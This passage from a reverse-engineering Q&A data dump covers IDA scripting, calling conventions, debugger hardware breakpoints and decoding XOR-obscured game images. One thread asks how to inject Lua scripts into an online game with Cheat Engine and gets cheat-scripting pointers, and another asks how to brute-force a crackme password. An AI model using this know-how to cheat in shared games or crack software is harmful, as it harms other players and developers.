href=&quot;https://pastebin.com/RUmaPGya&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/RUmaPGya&lt;/a&gt; (pastebin to not make this post too long)&lt;/p&gt;&#xA;&lt;p&gt;Help plz :)&lt;/p&gt;&#xA;" OwnerUserId="22327" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-12-03T20:46:57.507" Title="Call again function with new parameters" Tags="|ollydbg|c++|function-hooking|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16907" PostTypeId="1" AcceptedAnswerId="16908" CreationDate="2017-12-04T19:23:13.600" Score="5" ViewCount="6522" Body="&lt;p&gt;I was trying to figure out if there is a way I can get the address for a function name that has random characters in it.&#xA;For example the function name is &lt;em&gt;&amp;quot;Player_GetStats_m29275&amp;quot;&lt;/em&gt; here the &lt;em&gt;&amp;quot;m292755&amp;quot;&lt;/em&gt;&#xA;is random characters. So I want to search the name of the function by just &lt;em&gt;&amp;quot;Player_GetStats&amp;quot;&lt;/em&gt; so it gives me the address of the function.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;get_name_ea&lt;/strong&gt; is not good for doing this. I can search the function with &lt;strong&gt;find_text&lt;/strong&gt; but it's too slow and takes a lot of time even if I mention the segment.&lt;/p&gt;&#xA;" OwnerUserId="22516" LastEditorUserId="17952" LastEditDate="2023-06-02T19:18:19.100" LastActivityDate="2023-06-02T19:18:19.100" Title="IDA Script, get function that has random characters in its name" Tags="|ida|idapython|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16908" PostTypeId="2" ParentId="16907" CreationDate="2017-12-04T21:35:36.520" Score="4" Body="&lt;p&gt;As far as I know, IDA doesn't have a &lt;code&gt;function_name_to_address()&lt;/code&gt; that gets a pattern and returns an address. You can iterate over all the functions and check if their name matches the one you want. It should not take too long.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import *&#xA;from idaapi import *&#xA;from idc import *&#xA;&#xA;ea = BeginEA()&#xA;for funcAddr in Functions(SegStart(ea), SegEnd(ea)):&#xA;    funcName = GetFunctionName(funcAddr)&#xA;    # Check if the function name starts with &quot;Player_GetStats&quot;&#xA;    if funcName.startswith(&quot;Player_GetStats&quot;):&#xA;        print &quot;Function %s is at 0x%x&quot; % (funcName, funcAddr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use &lt;a href=&quot;https://docs.python.org/2/library/re.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;regular expression&lt;/a&gt; to match the name you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import re&#xA;&#xA;funcName = &quot;Player_GetStats_m29275&quot;&#xA;re.compile(&quot;^Player_GetStats_\w\d{5}$&quot;)&#xA;if pattern.match(funcName):&#xA;   &quot;%s match the pattern&quot; % funcName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;^&lt;/code&gt; is for &quot;begins with&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\w&lt;/code&gt; matches one word character (&quot;m&quot; in this case)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\d&lt;/code&gt; matches a digit&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{5}&lt;/code&gt; checks that the previous expression (&lt;code&gt;\d&lt;/code&gt;) is repeating 5 times&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$&lt;/code&gt; is for &quot;end of line&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-12-04T21:43:39.920" LastActivityDate="2017-12-04T21:43:39.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16909" PostTypeId="2" ParentId="15015" CreationDate="2017-12-04T22:09:02.113" Score="3" Body="&lt;p&gt;QEMU user-mode emulation (e.g. &lt;code&gt;qemu-arm&lt;/code&gt;, &lt;code&gt;qemu-arm-static&lt;/code&gt;) does not support debugging multiple threads simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must use &lt;code&gt;qemu-arm-system&lt;/code&gt; and run an entire ARM kernel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Separately, your QEMU and GDB are very out-of-date.  I recommend updating:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;QEMU / &lt;code&gt;qemu-static&lt;/code&gt;.  The latest version is &lt;code&gt;2.10.1&lt;/code&gt;.  QEMU 2.0.0 is over three years old.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;gdb&lt;/code&gt; / &lt;code&gt;gdb-multiarch&lt;/code&gt; / &lt;code&gt;gdbserver&lt;/code&gt;.  The latest version is &lt;code&gt;8.0.1&lt;/code&gt;.  GDB 7.7 is over three years old.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally, if you do not need to debug multiple threads simultaneously, you can attach to the &quot;appropriate&quot; thread by using&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;set detach-on-fork off&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;set follow-fork-mode [parent|child]&lt;/code&gt; as appropriate&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="264" LastActivityDate="2017-12-04T22:09:02.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16910" PostTypeId="1" AcceptedAnswerId="16916" CreationDate="2017-12-05T01:58:37.160" Score="-1" ViewCount="2043" Body="&lt;p&gt;I'm trying to hack a game. I'm a bit of a white hat hacker - only for this specific game, and only because I enjoy it. There has recently been a spate of players getting away with much more than they should in game by (if the grapevine is to be believed) injecting lua scripts into the loaded game in cheat engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use cheat engine sometimes, I know how to find a value, change it, lock it, find out what writes to it, etc. I wasn't aware that a user can call an external lua file and have it run as if it had been called by the game in question (the copy of the file I've managed to beg/borrow/steal calls function from the game). I am way out of my depth here, I'm not even 100% sure this is seriously what's been going on. Can anyone shed some light on whether or not this is possible (even a feeling of likelihood would help) and more importantly if it is possible, how I can go about replicating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to mention the game specifically as (although it has a small user base) I don't want to give others tips on how to hack it!). That being said, I realise I haven't given much info, &lt;strong&gt;so please tell me what would be helpful to include!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I have no idea how to tag this - suggestions welcome!&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2017-12-05T18:50:25.463" Title="Using cheat engine to activate a modified version of a lua script" Tags="|injection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16911" PostTypeId="1" AcceptedAnswerId="16915" CreationDate="2017-12-05T02:58:27.060" Score="1" ViewCount="178" Body="&lt;p&gt;A C++ program I'm looking at appears to have been compiled with MSVC. It links to MSVCR100.dll, contains MSVC's security cookie code and uses the Microsoft mangling scheme. However, one of the functions I've hit sends its only argument in the EAX register, which is immediately passed as an argument to &lt;code&gt;LoadLibraryW&lt;/code&gt; (after BP frame initialisation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the code, there are sequences and strings referenced in other functions (evidence of inlining), so I don't think it's a direct assembly code job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge and according to my sources, MSVC doesn't have a calling convention that sends arguments via EAX. Watcom and Delphi have options, but not MSVC. Is it possible that the compiler optimised the function into a register call? Or is there another, undocumented calling convention in MSVC?&lt;/p&gt;&#xA;" OwnerUserId="16995" LastEditorUserId="22100" LastEditDate="2017-12-05T13:20:41.737" LastActivityDate="2017-12-05T15:02:05.123" Title="How can an IA-32 program seemingly compiled with MSVC send its sole argument via EAX?" Tags="|c++|register|calling-conventions|msvc|" AnswerCount="1" CommentCount="3" ClosedDate="2017-12-07T15:34:07.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="16912" PostTypeId="2" ParentId="16182" CreationDate="2017-12-05T11:32:07.097" Score="4" Body="&lt;p&gt;The first 16 bytes are unknown (likely some kind of private data). After that, a regular PNG file follows, but the first 128 bytes have been XORed with the value 234. The rest of the file is unchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My reason for suspecting a simple XOR was the series of &lt;code&gt;0xEA&lt;/code&gt; bytes near the start; typically there would be zeroes there. Applying the XOR in a hex viewer immediately showed the familiar &lt;code&gt;‰PNG&lt;/code&gt; signature, followed by the missing &lt;code&gt;IHDR&lt;/code&gt; and &lt;code&gt;PLTE&lt;/code&gt;, and a series of nulls where previously &lt;code&gt;0xEA&lt;/code&gt; appeared. As that series of nulls changed halfway back to &lt;code&gt;0xEA&lt;/code&gt;, this indicated that only part of the file was thus obscured. Counting bytes did the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unencoding is thus as simple as discarding the first 16 bytes, XORing the next 128 bytes with 234, and copying the entire rest unchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encoding is theoretically possible, but for that to work, you need to know the meaning of the first 16 bytes. (It could be that these bytes are always the same, or are different in some way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example in its unencoded form, &quot;levelselect/map_1.png&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gz9v7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gz9v7.png&quot; alt=&quot;a randomly selected image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as unencoded by the following quick-and-dirty Python program:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;&#xA;if len(sys.argv) == 2:&#xA;  with open(sys.argv[1], 'rb') as orig:&#xA;    # skip first 16 bytes&#xA;    orig.seek(16)&#xA;    # read in the rest&#xA;    data = bytearray(orig.read())&#xA;    # xor first 128 bytes with 0xea&#xA;    for x in range(0,128):&#xA;      data[x] ^= 0xea&#xA;    # write to new file&#xA;    with open(sys.argv[1]+'.fixed.png', 'wb') as fixed:&#xA;      fixed.write(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I did not test this routine on &lt;em&gt;all&lt;/em&gt; of the files.)&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2017-12-05T11:32:07.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16914" PostTypeId="1" AcceptedAnswerId="16960" CreationDate="2017-12-05T14:30:29.727" Score="1" ViewCount="1564" Body="&lt;p&gt;I have coded a very simple Debugger for x64, I am using currently Win10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to set some Hardware Breakpoints to be trapped by my Debugger Loop as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;inline void SETBITS(DWORD64 *dw, int lowBit, int bits, int newValue) {&#xA;&#xA;     int mask = (1 &amp;lt;&amp;lt; bits) - 1;&#xA;     *dw = (*dw &amp;amp; ~(mask &amp;lt;&amp;lt; lowBit)) | (newValue &amp;lt;&amp;lt; lowBit);&#xA;&#xA;}&#xA;&#xA;BOOL SetHardwareBP(HANDLE hThread, __int64 Address, DWORD Length, int Condition)&#xA;{&#xA;&#xA;    CONTEXT context = { CONTEXT_DEBUG_REGISTERS };&#xA;    int i;&#xA;    if (!GetThreadContext(hThread, &amp;amp;context)) return -1;&#xA;&#xA;    // find available hardware register&#xA;&#xA;    for (i = 0; i &amp;lt; 4; i++)&#xA;    {&#xA;    if ((context.Dr7 &amp;amp; (1 &amp;lt;&amp;lt; (i * 2))) == 0)&#xA;    {&#xA;        *(&amp;amp;context.Dr0 + i) = Address;&#xA;&#xA;        SETBITS(&amp;amp;context.Dr7, 16 + i * 4, 2, Condition);&#xA;        SETBITS(&amp;amp;context.Dr7, 18 + i * 4, 2, Length);&#xA;        SETBITS(&amp;amp;context.Dr7, i * 2, 1, 1);&#xA;&#xA;        if (!SetThreadContext(hThread, &amp;amp;context))&#xA;            return -1;&#xA;&#xA;        return i;&#xA;    }&#xA;  }&#xA;&#xA;   return -1;&#xA;}&#xA;&#xA;int SetDebugPrivileges(void) {&#xA;&#xA;      TOKEN_PRIVILEGES priv = { 0 };&#xA;      HANDLE hToken = NULL;&#xA;&#xA;      if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;amp;hToken)) {&#xA;        priv.PrivilegeCount = 1;&#xA;        priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;&#xA;&#xA;        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;amp;priv.Privileges[0].Luid)) {&#xA;        if (AdjustTokenPrivileges(hToken, FALSE, &amp;amp;priv, 0, NULL, NULL) == 0) {&#xA;            printf(&quot;AdjustTokenPrivilege Error! [%u]\n&quot;, GetLastError());&#xA;        }&#xA;    }&#xA;&#xA;       CloseHandle(hToken);&#xA;  }&#xA;       return GetLastError();&#xA;}&#xA;&#xA;&#xA;void ThreadsLoop(DWORD mPID) {&#xA;&#xA;   HANDLE         hProcessSnap = NULL;&#xA;&#xA;   SetDebugPrivileges();&#xA;   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);&#xA;&#xA;   if (hProcessSnap == INVALID_HANDLE_VALUE) return;&#xA;&#xA;    else&#xA;    {&#xA;    THREADENTRY32 the;&#xA;    the.dwSize = sizeof(THREADENTRY32);&#xA;&#xA;    BOOL bret = Thread32First(hProcessSnap, &amp;amp;the);&#xA;    while (bret)&#xA;    {&#xA;&#xA;&#xA;        if (the.th32OwnerProcessID == mPID)&#xA;        {&#xA;&#xA;            HANDLE hthread = OpenThread(THREAD_ALL_ACCESS, false, the.th32ThreadID);&#xA;            SuspendThread(hthread);&#xA;&#xA;                           //call with length and condition set to 0 for a Code Execution type&#xA;            int hr = SetHardwareBP(hthread, addr, 0, 0);&#xA;            ResumeThread(hthread);&#xA;&#xA;            CloseHandle(hthread);&#xA;        }&#xA;        bret = Thread32Next(hProcessSnap, &amp;amp;the);&#xA;    }&#xA;    CloseHandle(hProcessSnap);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am calling&#xA;&lt;code&gt;ThreadsLoop(pi.dwProcessId);&lt;/code&gt; where pi is the the PROCESS_INFORMATION structure returned from my initial call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CreateProcess(pname, NULL, NULL, NULL, false, DEBUG_ONLY_THIS_PROCESS, NULL,NULL, &amp;amp;si, &amp;amp;pi);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of the Hardware Breakpoints is Hit. I did several attempts changing the DR0-DR7 (and condition and length variables above) setup without luck. All calls to SetThreadContext returned successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the same test with a Software Breakpoint via the following code and works perfect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BYTE p[] = { 0xcc }; &#xA;SIZE_T d = 0;&#xA;WriteProcessMemory(pi.hProcess, (void*)addr, p, sizeof(p), &amp;amp;d);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be wrong in this code/approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="12793" LastEditDate="2017-12-05T21:03:27.803" LastActivityDate="2017-12-12T14:56:24.950" Title="Simple Debugger and Hardware BreakPoints in x64 Windows 10" Tags="|debuggers|breakpoint|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16915" PostTypeId="2" ParentId="16911" CreationDate="2017-12-05T15:02:05.123" Score="2" Body="&lt;p&gt;We can see from &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#List_of_x86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;this list&lt;/a&gt; that IA-32's Delphi/Free Pascal calling convention is the &lt;em&gt;register&lt;/em&gt; calling convention. My guess is you're dealing with a binary that's the result of something like this: &lt;a href=&quot;https://stackoverflow.com/questions/15341954/how-to-call-a-function-using-delphis-register-calling-conventions-from-visual-c&quot;&gt;How to call a function using Delphi's register calling conventions from Visual C++?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To partially quote the top-voted answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Delphi's &lt;a href=&quot;http://docwiki.embarcadero.com/RADStudio/en/Procedures_and_Functions#Calling_Conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;register calling convention&lt;/a&gt;, also known as Borland fastcall, on x86 &lt;a href=&quot;http://docwiki.embarcadero.com/RADStudio/Tokyo/en/Program_Control#Register_Convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;uses EAX, EDX and ECX registers&lt;/a&gt;, in that order.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some additional reading that may help paint a clearer picture of what you're looking at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bcbjournal.org/articles/vol4/0012/Using_Visual_C_DLLs_with_CBuilder.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Visual C++ DLLs with C++Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2964/which-calling-convention-to-use-for-eax-edx-in-ida&quot;&gt;Which calling convention to use for EAX/EDX in IDA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-12-05T15:02:05.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16916" PostTypeId="2" ParentId="16910" CreationDate="2017-12-05T18:50:25.463" Score="3" Body="&lt;p&gt;Unfortunately, as a beginner, there's a LOT for you to learn where this topic is concerned. It's not that it's particularly outside of your grasp to understand, but rather that it's going to take quite a bit of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without seeing the file or knowing the game, there are any number of solutions that could be happening. So instead of playing guesswork there, I recommend you start by learning how to use Lua in the context of Cheat Engine. &lt;a href=&quot;http://dsasmblr.com/introduction-to-lua-using-cheat-engine-beginner-to-basic-script-writer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;I wrote a beginner's tutorial&lt;/a&gt; sometime back that should help you quite a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I recommend watching &lt;a href=&quot;https://www.youtube.com/watch?v=NY1RZgq_oDc&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;, followed by &lt;a href=&quot;https://www.youtube.com/watch?v=s303GEZfhYs&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;--both of which use Lua to solve steps 1-7 of the tutorial that comes bundled with Cheat Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;a href=&quot;https://github.com/flarn2006/SA2CheatTable&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is an example&lt;/a&gt; of an insanely in-depth CE Lua script. Crack it open and take a look at that puppy; it's amazing. Ultimately, you can get as basic (simple scripting) or as complex (designing a full, standalone trainer) as you want with Lua in CE. You have the power of Lua in its entirety, as well as CE's custom Lua functions (and any others you'd like to bring in from other Lua libraries).&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-12-05T18:50:25.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16917" PostTypeId="1" AcceptedAnswerId="18834" CreationDate="2017-12-05T19:46:46.243" Score="10" ViewCount="20347" Body="&lt;p&gt;I wonder if there some syscall table for Linux ARM64 architecture?&#xA;I found syscall table for &lt;a href=&quot;https://w3challs.com/syscalls/?arch=arm_strong&quot; rel=&quot;noreferrer&quot;&gt;Linux ARM32&lt;/a&gt; and many other architectures, but the problem still exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where can I find a syscall table exactly for ARM64?&lt;/p&gt;&#xA;" OwnerUserId="21921" LastEditorUserId="53" LastEditDate="2018-05-23T13:53:58.993" LastActivityDate="2020-09-17T16:29:41.500" Title="ARM64 syscalls table" Tags="|assembly|linux|arm|system-call|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16918" PostTypeId="1" CreationDate="2017-12-05T21:56:25.517" Score="0" ViewCount="230" Body="&lt;p&gt;Can I export my type definitions from one Hopper project and import them to another? I would like to define the data types used for a target just once, then export/import them when reversing new versions of the same target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched many variations of this without much luck, checked the user interface, and the scripting documentation (if I can access the types from Python I can write my own export/import).&lt;/p&gt;&#xA;" OwnerUserId="4211" LastActivityDate="2018-01-17T22:38:36.013" Title="Is it possible to export/import type definitions in Hopper" Tags="|hopper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16919" PostTypeId="1" AcceptedAnswerId="16925" CreationDate="2017-12-05T23:50:46.483" Score="2" ViewCount="864" Body="&lt;p&gt;I recently asked to question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16911/how-can-an-ia-32-program-seemingly-compiled-with-msvc-send-its-sole-argument-via/16915#16915&quot;&gt;How can an IA-32 program seemingly compiled with MSVC send its sole argument via EAX?&lt;/a&gt; After posting the question, I found that another function passed the first argument in &lt;code&gt;EAX&lt;/code&gt; and then pushed its remaining argument. The caller then cleans up the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The calling code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00402465                 lea     eax, [ebp+var_4]&#xA;    ...&#xA;.text:00402469                 push    eax&#xA;.text:0040246A                 mov     eax, [ebp+hWnd]&#xA;.text:0040246D                 call    openFileDialog&#xA;.text:00402472                 add     esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the function itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00411730 openFileDialog  proc near&#xA;.text:00411730&#xA;    ...&#xA;.text:00411730 arg_0           = dword ptr  8&#xA;.text:00411730&#xA;.text:00411730                 push    ebp&#xA;.text:00411731                 mov     ebp, esp&#xA;.text:00411733                 sub     esp, 18h&#xA;.text:00411736                 cmp     byte_42AE1D, FALSE&#xA;.text:0041173D                 push    ebx&#xA;.text:0041173E                 push    esi&#xA;.text:0041173F                 push    edi&#xA;.text:00411740                 mov     esi, eax&#xA;    ...&#xA;.text:00411789                 mov     eax, [ebp+arg_0]&#xA;.text:0041178C                 push    eax&#xA;.text:0041178D                 push    esi&#xA;.text:0041178E                 call    openFileDialog_Compat&#xA;.text:00411793                 add     esp, 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, in the function, the value of &lt;code&gt;EAX&lt;/code&gt; is saved before anything can affect it, so it is definitely being used as a parameter. Later, the pushed argument is passed to a normal __cdecl function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program is linked to use msvcr100.dll and uses MSVC style throughout (Such as __security_cookie, MSVC name mangling, etc.), so it would appear to have been compiled with Visual C++, but this unusual calling convention makes me question that.&lt;/p&gt;&#xA;" OwnerUserId="16995" LastActivityDate="2017-12-06T19:58:51.403" Title="What compiler uses a calling convention that uses EAX as the first argument, then pushes onto the stack?" Tags="|c++|calling-conventions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16923" PostTypeId="2" ParentId="16919" CreationDate="2017-12-06T07:05:17.447" Score="0" Body="&lt;p&gt;check &lt;a href=&quot;https://docs.microsoft.com/zh-cn/cpp/cpp/calling-conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Calling Conventions&lt;/a&gt; that msvc support yet.&#xA;as for the function name openFileDialog, it's a c# func? combining C# and C++&#xA;via CLR?? strange things may happen. MS dose not need to expose these details&#xA;to public.&lt;/p&gt;&#xA;" OwnerUserId="6941" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-12-06T07:05:17.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16924" PostTypeId="2" ParentId="16685" CreationDate="2017-12-06T14:37:52.213" Score="2" Body="&lt;p&gt;The simple way to turn on the debug information is to modify the mask directly in WinDBG with this command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ed nt!Kd_Default_Mask 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The console will become massively verbose...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="17398" LastActivityDate="2017-12-06T14:37:52.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16925" PostTypeId="2" ParentId="16919" CreationDate="2017-12-06T19:58:51.403" Score="7" Body="&lt;p&gt;This is probably a program compiled with &quot;Whole Program Optimization&quot; or &quot;Link-time code generation&quot;. &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/xbf3tbeh&quot; rel=&quot;noreferrer&quot;&gt;From MSDN&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When /LTCG is used to link modules compiled with /Og, /O1, /O2, or&#xA;  /Ox, the following optimizations are performed: &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Cross-module inlining&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Interprocedural register allocation (64-bit operating systems only)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Custom calling convention (x86 only)&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Small TLS displacement (x86 only)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Stack double alignment (x86 only)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Improved memory disambiguation (better interference information for global variables and input parameters)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-12-06T19:58:51.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16927" PostTypeId="1" CreationDate="2017-12-07T15:28:40.160" Score="2" ViewCount="1628" Body="&lt;p&gt;I am having a binary which takes an input from user and checks every bit of our character using the &lt;strong&gt;check_value&lt;/strong&gt; function which does some stuff. The disassembly of the interested function is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000000005620B loc_5620B:                              ; CODE     XREF: main+A1j&#xA;.text:000000000005620B                 movzx   edi, byte ptr [rbx+rdx]&#xA;.text:000000000005620F                 mov     rsi, [r8+rdx*8]&#xA;.text:0000000000056213                 call    check_value&#xA;.text:0000000000056218                 inc     rdx&#xA;.text:000000000005621B                 and     ecx, eax&#xA;.text:000000000005621D                 cmp     rdx, 3Bh   &amp;lt;----**This condition**&#xA;.text:0000000000056221                 jnz     short loc_5620B&#xA;.text:0000000000056223                 test    cl, cl&#xA;.text:0000000000056225                 lea     rdi, aYouDidnTGetItM ; &quot;You didn't get it, much sadness :(&quot;&#xA;.text:000000000005622C                 jz      short loc_5623E&#xA;.text:000000000005622E                 lea     rdi, aYouGotItCorrec ; &quot;You got it! correct! awesome!&quot;&#xA;.text:0000000000056235                 call    _puts&#xA;.text:000000000005623A                 xor     eax, eax&#xA;.text:000000000005623C                 jmp     short loc_56248&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I understand is the &lt;code&gt;cmp&lt;/code&gt; instruction is where the execution is getting diverted and I want to do a straight bruteforce. How can i do using either a &lt;code&gt;gdb&lt;/code&gt; script or &lt;code&gt;angr&lt;/code&gt; framework?&lt;/p&gt;&#xA;" OwnerUserId="15181" LastActivityDate="2017-12-07T16:57:33.657" Title="Password Bruteforce using angr" Tags="|gdb|angr|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
